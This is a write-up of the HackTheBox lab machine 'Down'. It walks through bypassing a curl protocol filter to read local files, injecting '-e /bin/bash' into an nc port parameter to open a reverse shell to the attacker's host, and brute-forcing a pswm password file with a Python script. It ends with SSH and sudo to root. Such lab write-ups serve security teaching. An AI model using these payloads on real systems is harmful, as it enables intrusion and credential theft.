This writeup details the exploitation of a HackTheBox machine named Down, which involves an arbitrary file read bypass, leading to remote code execution and a final privilege escalation via a user's sudo permissions.
Quick Metadata
| Item | Value |
|---|---|
| Machine | Down |
| Difficulty | Easy |
| IP | 10.10.10.10 |
| OS | Linux |
| Primary Vulns | Arbitrary File Read, Command Injection, Weak Credentials |
Exploitation Chain (High-Level)
- Discover an arbitrary file read vulnerability on a web application.
- Bypass protocol filtering to read the source code of the web application.
- Identify a command injection vulnerability in a separate function of the web application.
- Exploit command injection to gain an initial shell as
www-data. - Discover and decrypt a password file for the
aleksuser. - SSH as
aleksand usesudoto gain a root shell.
Pre-Reqs
- Tooling:
nmap,nc,curl,python3,sshpass - Skills: Web enumeration, Python scripting, command injection, source code review
Skills Required
- Web Enumeration
- Python Scripting
- Command Injection
sudoabuse
Skills Learned
- Arbitrary file read bypass techniques
- Source code analysis for vulnerabilities
- Using Python's
cryptocodemodule for decryption - Exploiting command injection in
nc - Brute-forcing passwords from wordlists
Enumeration
Network Scan
Nmap identified two open ports: SSH on port 22 and HTTP on port 80. The Apache web server is running on Ubuntu.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Nmap Commands
nmap -Pn -sC -sV -oN scans/initial.nmap 10.10.10.10
nmap -Pn -p- --min-rate 5000 -oN scans/full_tcp.nmap 10.10.10.10
The web server on port 80 hosts a website titled "Is it down or just me?". This site has an input field that checks if a server is up by taking a URL.
Web Enumeration (if applicable)
By pointing the web server to a netcat listener on the attacking machine, it was observed that the backend uses curl to make the request.
nc -lnvp 80
listening on [any] 80
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.10] 40688
GET / HTTP/1.1
Host: 11.11.11.11
User-Agent: curl/7.81.0
Accept: */*
Foothold
Initial Vulnerability (LFI to RCE)
The web application uses curl in the backend, which allows for various protocols. An attempt to read local files using file:///etc/passwd was blocked, with the application stating that only http or https protocols are allowed. This is a clear indicator of a protocol-based filter.
By URL-encoding a space character as %20 between the protocol and the file path, the filter can be bypassed. The payload http:// file:///etc/passwd successfully reads the file. This confirms an arbitrary file read vulnerability. Using this vulnerability, the web application's source code at /var/www/html/index.php was read.
url=http%3A%2F%2F%20file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Findex.php
The source code review revealed a hidden functionality that is enabled by adding ?expertmode=tcp to the URL. This new mode checks if a specified IP and port are refused. The code for this feature uses exec to run a nc -vz command, taking the user's input IP and port. While ip and port inputs are sanitized with filter_var, the value passed to the nc command is still unsanitized, making it vulnerable to command injection. By injecting -e /bin/bash into the port parameter, remote code execution can be achieved.
Exploit:
A POST request is sent to index.php?expertmode=tcp with the IP address set to the attacking machine and the port set to 1337 -e /bin/bash.
## Listener
nc -lnvp 1337
## Payload
ip=11.11.11.11&port=1337+-e+/bin/bash
The nc listener catches a shell from the target machine.
connect to [11.11.11.11] from (UNKNOWN) [10.10.10.10] 43536
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Result: A shell as www-data.
Shell Stabilization
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Privilege Escalation
Vector 1: Decrypting a password file
After gaining a shell as www-data, enumeration of the file system revealed a user named aleks. A directory /home/aleks/.local/share/pswm was found, which contained a file named pswm. A quick search revealed that pswm is a Python-based password manager that uses the cryptocode module for encryption.
The contents of the pswm file were:
e9laWoKiJ00dwK05b3hG7xMD+uIBBwl/v011BRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEVIDCHBQ==
A Python script was created to brute force the master password using a wordlist, which decrypts the file's contents to reveal the credentials for the aleks user.
import cryptocode
import os
def encrypted_file_to_lines(file_name, master_password):
if not os.path.isfile(file_name):
return
with open(file_name, 'r') as file:
encrypted_text = file.read()
decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
if decrypted_text is False:
return False
decrypted_lines = decrypted_text.splitlines()
print(master_password)
print(decrypted_lines)
return decrypted_lines
words = open("rockyou.txt", 'r', errors="ignore").readlines() # Using a custom wordlist
for word in words:
encrypted_file_to_lines('pswm', word.strip())
Running this script with a suitable password list yielded the master password: flower. This then decrypted the file to reveal the password for aleks: luY3w22uc-Wr{XNHR-+E.
Using sshpass and ssh, a session was established as aleks.
sshpass -p 'luY3w22uc-Wr{XNHR-+E' ssh [email protected]
The aleks user is part of the sudo group, as confirmed by sudo -l. This allows them to run any command as root.
User aleks may run the following commands on down:
(ALL : ALL) ALL
A root shell was obtained by running sudo su.
sudo su
id
uid=0(root) gid=0(root) groups=0(root)
Root Flag
cat /root/root.txt
Hash / Flag: {REDACTED}
Summary
- Web enumeration uncovered a vulnerable
curlinstance used by a web application. - An arbitrary file read vulnerability was exploited by bypassing a protocol filter with a URL-encoded space.
- Source code review revealed a second, hidden functionality with a command injection vulnerability in a
nccommand. - A reverse shell was gained as
www-databy injecting-e /bin/bashinto theportparameter. - On the server, a password file was discovered for user
aleksand brute-forced using a custom Python script. - The decrypted credentials allowed an SSH login as
aleks, who hadsudoprivileges, leading to root access.
Lessons Learned
- Protocol filtering can be bypassed by using special characters like URL-encoded spaces.
- Thorough source code review is critical for finding hidden attack vectors.
- Even if a script seems to sanitize input, vulnerabilities can persist if the sanitization is incomplete or specific command-line arguments are not handled properly.
- Configuration files and personal data stored on a system are common places to find reusable credentials.